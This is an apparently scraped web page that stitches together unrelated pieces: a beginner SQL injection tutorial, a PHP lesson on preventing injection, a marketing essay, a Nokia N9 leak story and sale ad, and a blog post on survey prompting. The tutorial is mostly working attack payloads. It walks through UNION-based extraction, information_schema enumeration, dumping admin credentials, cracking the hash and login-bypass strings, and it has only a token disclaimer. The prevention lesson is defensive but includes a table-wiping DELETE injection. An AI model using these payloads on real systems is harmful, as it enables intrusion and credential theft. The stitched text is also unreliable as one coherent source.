MySQL Injection for absolute beginners (PART 2)

Accessing Secret Data

SQL injection is not essentially done for bypassing logins only but it is also used for accessing the sensitive and secret data in the DB servers. This part is long, so I would be discussing in the subsections.

Checking for vulnerability

Suppose, u got a site:
Code:

site.com/article.php?id=5

Now to check if it is vulnerable, u would simply add ' in the end i.e. where id variable is assigned.
So, it is:
Code:

site.com/article.php?id=5'

Now if the site is not vulnerable, it filters and the page loads normally.
But, if it doesn't filter the query string, it would give the error something like below:

"MySQL Syntax Error By '5'' In Article.php on line 15."
 

or

error that says us to check the correct MySQL version or MySQL Fetch error or sometimes just blank page. The error may be in any form. So it makes us sure that the site is vulnerable.

Also just using ' may not be the sure test; so you may try different things like:

Code:

site.com/article.php?id=5 union select 1--

If you get error with this, you again come to know that its vulnerable... Just try different things..

Find the number of columns

So, now its time to find the number of columns present. For this purpose, we will be using 'order by' until we get error.

That is, we make our URL query as:

Code:

site.com/article.php?id=5 order by 1/*

This didn't give error.

Now, I do increase it to 2.

Code:

site.com/article.php?id=5 order by 2/*

Still no error
So, we need to increase until we get the error.

In my example, I got error when I put the value 3 i.e.

Code:

site.com/article.php?id=5 order by 3/*

This gave me error.

So, it means there are 2 columns in the current table(3-1=2). This is how we find the number of columns.

Addressing Vulnerable Part

Now, we need to use union statement & find the column which we can replace so as to see the secret data on the page.

First lets craft the union statement which won't error.. This becomes like this:

Code:

site.com/article.php?id=5 UNION ALL SELECT null/*

This would error because our query needs to have one more null there.. Also null doesnot cause any type conversion error as it is just null..

So for our injection, it becomes:

Code:

site.com/article.php?id=5 UNION ALL SELECT null,null/*

For this we do:

Code:

site.com/article.php?id=5 UNION ALL SELECT 1,2/*

Now we will see the number(s) on the page somewhere. I mean, either 1 or 2 or both 1 & 2 are seen on the page. Note that the number may be displayed anywhere like in the title of the page or sometime even in the hidden tags in the source.. So, this means we can replace the number with our commands to display the private data the DB holds.

In my example, 1 is seen on the page. This means, I should replace 1 with my thingsto proceed further. Got it??So lets move forward.

Quick note: Sometime the numbers may not be displayed so it becomes hard for you to find the column which you can use to steal the data.. So in that case, you may try something like below:

Code:

site.com/article.php?id=5 UNION ALL SELECT sam207,null/*

or

Code:

site.com/article.php?id=5 UNION ALL SELECT null,sam207/*

If sam207 is displayed somewhere in the page, you may go further for injection replacing the text part... Here, I have kept text instead of integer to check if text is displayed... Also, be sure to check source because sometimes they may be in some hidden tags..

Finding MySQL version:

For our injection, it is necessary to find the MySQL version because if it is 5, our job becomes lot easier. To check the version, there is a function @@version or version().

So, what we do is replace 1(which is the replaceable part) with @@version i.e. we do as below:

Code:

site.com/article.php?id=5 UNION ALL SELECT @@version,2/*

or

Code:

site.com/article.php?id=5 UNION ALL SELECT version(),2/*

So, this would return the version of MySQL running on the server.

But, sometimes u may get error with above query. If that is the case, do use of unhex(hex()) function like this:

Code:

site.com/article.php?id=UNION ALL SELECT unhex(hex(@@version)),2/*

Remember that if u have to use unhex(hex()) function here, u will also have to use this function in the injection process later on.

@@version will give u the version. It may be either 4(or below) or 5 & above. I m now going to discuss the injection process for version 5 and 4 separately coz as I said earlier, version 5 makes it easy for us to perform the injection.

Quick note: Also, you may check for user, database,etc.. by using following:

Code:

site.com/article.php?id=5 UNION ALL SELECT user(),2/*
site.com/article.php?id=5 UNION ALL SELECT database(),2/*

MySQL 5 or above injection:

Here, I m gonna show u how to access data in the server running MySQL 5 or above.

U got MySQL version 5.0.27 standard using the @@version in url parameter. MySQL from version 5 has a useful function called information_schema. This is table that holds information about the tables and columns present in the DB server. That is, it contains name of all tables and columns of the site.

For getting table list, we use: table_name from information_schema.tables

For getting column list, we use: column_name from information_schema.columns

So our query for getting the table list in our example would be:

Code:

site.com/article.php?id=5 UNION ALL SELECT table_name,2 FROM information_schema.tables/*

And yeah if u had to use unhex(hex()) while finding version, u will have to do:
Code:

site.com/article.php?id=5 UNION ALL SELECT unhex(hex(table_name)),2 FROM information_schema.tables/*

This will list all the tables present in the DB. For our purpose, we will be searching for the table containing the user and password information. So we look the probable table with that information. U can even write down the table names for further reference and works. For my example, I would use the tbluser as the table that contains user & password.

Similarly, to get the column list, we would make our query as:

Code:

site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns/*

This returns all the columns present in the DB server. Now from this listing, we will look for the probable columns for username and password. For my injection, there are two columns holding these info. They are username and password respectively. So that's the column what I wanted. U have to search and check the columns until u get no error.

Alternatively to find the column in the specific table, u can do something like below:

Code:

site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns WHERE table_name='tbluser'

This would display the columns present in the table tbluser. But this may not work always based on PHP.INI so hex up.

Let me show u how I got to know that the above two columns belong to table tbluser. Now let me show how to display the username and password stored in the DB.

There is a function called concat() that allows me to join the two columns and display on the page. Also I will be using semicolon) in the hex form. Its hex value is 0x3a(thats zero at beginning not alphabet o.)

What I do is:

Code:

site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 FROM tbluser/*

And this gives me the username and password like below:
Code:

admin:9F14974D57DE204E37C11AEAC3EE4940

Here the password is hashed and in this case, its MD5. Now u need to get the hash cracker like John The Ripper(openwalls.org), Cain & Able(oxid.it) and crack the hash. The hash may be different like SHA1, MD5,etc.. or sometimes plaintext password may be shown on the page. In this case, when I crack I get the password as sam207.

Now u get to admin login page and login as admin. Then u can do whatever u like. So that's all for the MySQL version 5.

PREVIOUS (PART ONE)

NEXT (PART THREE)

MySQL Injection for absolute beginners (PART 1)

DISCLAIMER:THIS TUTORIAL IS SOLELY FOR EDUCATIONAL PURPOSE FOR PROTECTING YOUR OWN CODE FROM SQL INJECTIONS. YOU WILL HAVE TO TAKE THE FULL RESPONSIBILITY FOR ANY ACTION U DO AFTER READING THIS TUTORIAL.

Background

This article entitled "MySQL Injection for absolute beginners" intends to provide the complete knowledge and work-how of SQL injection specially targeted on MySQL database except the stacked query parts.
 
Intro
 
In this tutorial, I will demonstrate the infamous MySQL injection in newbie perspective so that all the newbies become able to become successful SQL injector. But, be sure to check various PHP & MySQL functions in various sites which will help you a lot...
Now lets begin our walkthrough of SQL injection.
 
What Is Database?
 
Just general info.. Database is the application that stores a collection of data. Database offers various APIs for creating, accessing and managing the data it holds. And database(DB) servers can be integrated with our web development so that we can pick up the things we want from the database without much difficulties. DB may hold various critical informations like usernames, passwords, credit cares,etc. So, DB need to be secured but many DB servers running are insecured either because of their vulnerability or because of poor programming handles. To name few DB servers, MySQL(Open source), MSSQL, MS-ACCESS, Oracle, Postgre SQL(open source), SQLite, etc.
What Is SQL Injection?

SQL injection is probably the most abundant programming flaw that exists on the internet at present. It is the vulnerability through which unauthorized person can access the various critical and private dat. SQL injection is not a flaw in the web or db server but but is a result of the poor and inexperienced programming practices. And it is one of the deadliest as well as easiest attack to execute from remote location.

In SQL injection, we interact with DB server with the various commands and get various data from it. In this tutorial, I would be discussing 3 aspects of SQL injection namely bypassing logins, accessing the secret data and modifying the page contents. So lets head forward on our real walkthrough..

Bypassing Logins  

Suppose, a site has a login form & only the registered users are allowed to enter the site. Now, say u wanted to bypass the login and enter the site as the legitimate user. If the login script is not properly sanitized by the programmer, u may have luck to enter the site. U might be able to login into the site without knowing the real username and real password by just interacting with the DB server. So, isn't that the beauty of SQL injection??

Let's see an example, where the username admin with the password sam207 can login to the site. Suppose, the SQL query for this is carried out as below:

Code:

SELECT USER from database WHERE username='admin' AND password='sam207'

And if above SELECT command evaluates true, user will be given access to the site otherwise not. Think what we could do if the script is not sanitized. This opens a door for the hackers to gain illegal access to the site.

In this example, the attacker can enter the following user data in the login form:

username:a or 1=1--
password:blank

So, this would make our query as:

Code:

SELECT USER from database WHERE username='a' or 1=1-- AND password=''

Note that -- is the comment operator and anything after it will be ignored as a comment. There exists another comment operator which is /*.

So our above query becomes:

Code:

SELECT USER from database WHERE username='a' or 1=1

Now this query evaluates true even if there is no user called 'a' because 1=1 is always true and using OR makes the query return true when one of the query is true. And this gives access to the site admin panel.

There can be various other username and password combinations to play with the vulnerable sites. U can create ur own new combinations for the site login.

Few such combinations are:
Code:

username:' or 1='1        password:' or 1='1
username:' or '1'='1'    password:' or '1'='1'
username:or 1=1        password:or 1=1

and there are many more cheat sheets. Just google. In fact, you can create your own such combinations to bypass logins..

That's all about bypassing logins. 

Please if you find any bug or error on the code please comment on the box below 


NEXT (PART TWO)

MySQL - SQL Injection Prevention

If you have ever taken raw user input and inserted it into a MySQL database there's a chance that you have left yourself wide open for a security issue known as SQL Injection. This lesson will teach you how to help prevent this from happening and help you secure your scripts and MySQL statements.

What is SQL Injection

SQL injection refers to the act of someone inserting a MySQL statement to be run on your database without your knowledge. Injection usually occurs when you ask a user for input, like their name, and instead of a name they give you a MySQL statement that you will unknowingly run on your database.

SQL Injection Example

Below is a sample string that has been gathered from a normal user and a bad user trying to use SQL Injection. We asked the users for their login, which will be used to run a SELECT statement to get their information.

MySQL & PHP Code:

// a good user's name
$name = "timmy"; 
$query = "SELECT * FROM customers WHERE username = '$name'";
echo "Normal: " . $query . "<br />";

// user input that uses SQL Injection$name_bad = "' OR 1'"; 

// our MySQL query builder, however, not a very safe one
$query_bad = "SELECT * FROM customers WHERE username = '$name_bad'";

// display what the new query will look like, with injection
echo "Injection: " . $query_bad;

Display:

Normal: SELECT * FROM customers WHERE username = 'timmy'
Injection: SELECT * FROM customers WHERE username = '' OR 1''

The normal query is no problem, as our MySQL statement will just select everything from customers that has a username equal to timmy.

However, the injection attack has actually made our query behave differently than we intended. By using a single quote (') they have ended the string part of our MySQL query

• username = ' '

and then added on to our WHERE statement with an OR clause of 1 (always true).

• username = ' ' OR 1

This OR clause of 1 will always be true and so every single entry in the "customers" table would be selected by this statement!

More Serious SQL Injection Attacks

Although the above example displayed a situation where an attacker could possibly get access to a lot of information they shouldn't have, the attacks can be a lot worse. For example an attacker could empty out a table by executing a DELETE statement.

MySQL & PHP Code:

$name_evil = "'; DELETE FROM customers WHERE 1 or username = '"; 

// our MySQL query builder really should check for injection
$query_evil = "SELECT * FROM customers WHERE username = '$name_evil'";

// the new evil injection query would include a DELETE statement
echo "Injection: " . $query_evil;

Display:

SELECT * FROM customers WHERE username = ' '; DELETE FROM customers WHERE 1 or username = ' '

If you were run this query, then the injected DELETE statement would completely empty your "customers" table. Now that you know this is a problem, how can you prevent it?

Injection Prevention - mysql_real_escape_string()

Lucky for you, this problem has been known for a while and PHP has a specially-made function to prevent these attacks. All you need to do is use the mouthful of a function mysql_real_escape_string.

What mysql_real_escape_string does is take a string that is going to be used in a MySQL query and return the same string with all SQL Injection attempts safely escaped. Basically, it will replace those troublesome quotes(') a user might enter with a MySQL-safe substitute, an escaped quote \'.

Lets try out this function on our two previous injection attacks and see how it works.

MySQL & PHP Code:

//NOTE: you must be connected to the database to use this function!
// connect to MySQL

$name_bad = "' OR 1'"; 
$name_bad = mysql_real_escape_string($name_bad);

$query_bad = "SELECT * FROM customers WHERE username = '$name_bad'";
echo "Escaped Bad Injection: <br />" . $query_bad . "<br />";


$name_evil = "'; DELETE FROM customers WHERE 1 or username = '"; 
$name_evil = mysql_real_escape_string($name_evil);

$query_evil = "SELECT * FROM customers WHERE username = '$name_evil'";
echo "Escaped Evil Injection: <br />" . $query_evil;

Display:

Escaped Bad Injection:
SELECT * FROM customers WHERE username = '\' OR 1\''
Escaped Evil Injection:
SELECT * FROM customers WHERE username = '\'; DELETE FROM customers WHERE 1 or username = \''

Notice that those evil quotes have been escaped with a backslash \, preventing the injection attack. Now all these queries will do is try to find a username that is just completely ridiculous:

• Bad: \' OR 1\'
• Evil: \'; DELETE FROM customers WHERE 1 or username = \'

And I don't think we have to worry about those silly usernames getting access to our MySQL database. So please do use the handy mysql_real_escape_string() function to help prevent SQL Injection attacks on your websites. You have no excuse not to use it after reading this lesson!

The Future Of The Marketing Director

Everyone’s writing self-serving pieces about the future of advertising, yet few of them seem to realise that the true subject is the future of marketing. Central to that is the future of the marketing director, an important role that has, all too often, relegated itself to some kind of administrator of outsourcing.

The reversal of that trend starts with knowing what marketing really is: acknowledging that it’s not just promotion, that it involves every touch-point with customers (how ever tangential) and knowing therefore that it includes the work of a lot of departments outside one’s own.

This means that the classic role of evangelist must be for much more than simply the product/service, it must also evangelise on behalf of marketing itself as well as its specific aims within the company. The future of the marketing director will therefore involve:

The marketing of marketing.

Firstly, the Board and senior management have to be convinced of the value of marketing as an integral part of the product/service (in accounting terms, an element of cost of goods sold rather than an expense). Until this is achieved, marketing will be under-valued.

Relating marketing to corporate strategy.

By relating it directly to corporate strategy, the business credibility of marketing is enhanced. It also serves to ties in all stakeholders, most notably customer-facing staff. Moreover, it encourages longevity of vision and consistency of voice and thereby reduces short-term gimmickry.

Marketing to third parties.

The outsourcing of the creation of certain marketing elements may be inevitable, but your partners will serve you better if they are convinced of your mission. Faking such conviction is part of their job spec, but it’s better if they can truly be persuaded.

Becoming the account manager.

Being the manager not the outsourcer (internally with other departments and externally with third-parties) ensures a flattening of hierarchy, a continuous exchange of ideas and information and an increased ability to oversee processes so that there’s no need for sudden deadlines and rushed creativity.

Realism regarding your customers.

Acknowledging that you’re not marketing to your colleagues, your agencies or your imagined self is key. Spend lots of time with them - not in focus groups but in the real world – and know everything they do in relation to your product/service and to the rest of their lives.

Shaping the culture.

Marketing by creating the culture is more effective than marketing by interrupting the culture. The goal is to shape the ecosystem around and within your business through your interactions as described above and by all your promotional activities.

The result can be a unified marketing effort and that, after all, is what a marketing director should be ensuring.

Nokia N9 Meego Handset Leaked

Nokia's been working on its new Meego platform for a while now, and details about the first device to use it should be coming out any day now, but until then we have to rely on stuff like these photos that were recently leaked. A forum poster on Chinese language site Baidu.com put out these clear, high-quality photos claiming they are of Nokia's N9, a device Nokia has confirmed will be the first to run with the new Meego operating system but has declined to provide any official photos of.
Meego will for all intents and purposes be Nokia's response to the colossal uprising of competing smartphone platforms iPhone and Android. Unlike most phone manufacturers that use third-party software to power the device's operations, Nokia, perhaps stubbornly, sticks exclusively to its own internally developed operating systems. Its Symbian platform once had a commanding presence in North America. But as times changed, Nokia did not. It is the largest phone manufacturer that does not have a handset running on Android.
Still the undisputed leader in global handset sales, spurred largely by its dominance in under-developed parts of the world, Nokia is rapidly fading into obsolescence in the US. It hopes Meego can help change that.
However, if these photos are genuine, this is not going to be an easy climb for Nokia. Despite having a nice-looking screen and full Qwerty keyboard, the device looks unabashedly bland. Besides, it may be too little too late. Consumers are already becoming very familiar with Android and/or the iPhone operating system. Most are unlikely to be willing to give a different platform a fair shake.

Nokia Black Friday and Cyber Monday Sale 2010

 

• 15% off Nokia phones
• 35% off all Nokia accessories 
• $50 off the Nokia N8
• WWW.NOKIA.COM  
 

11/26/2010 - 11/29/2010

Feedback

Prompted Response Prompts Lies.

When it comes to customer satisfaction evaluation, I've written often of my distrust of prompted recall and my preference for the net promoter score. But I'd never expected to encounter them simultaneously.

Earlier this week I had a ten minute conversation with John Maeda as Part of his Fortune Cookie performance. Before I left the gallery, I was asked if I had heard of the net promoter score and, when I answered yes, was asked to rate my experience

You'll be surprised to read that I tend to grade low, so while I had thoroughly enjoyed the conversation I was going to rate it as an 8. But,under net promoter rules, I know that rating would be discarded as middling and so I found myself rating it a 9. In other words, the prompt had changed my behaviour and my perceived appraisal.

Now this was an art event and the prompt may well have been an innocent conversation-starter or, indeed, part of the event but the bottom line is, if you want
a true reflection of your customers' experience, you have to be utterly agnostic and make no attempt at prompting.

You may think it's going to facilitate the rating, but Heisenberg taught us otherwise.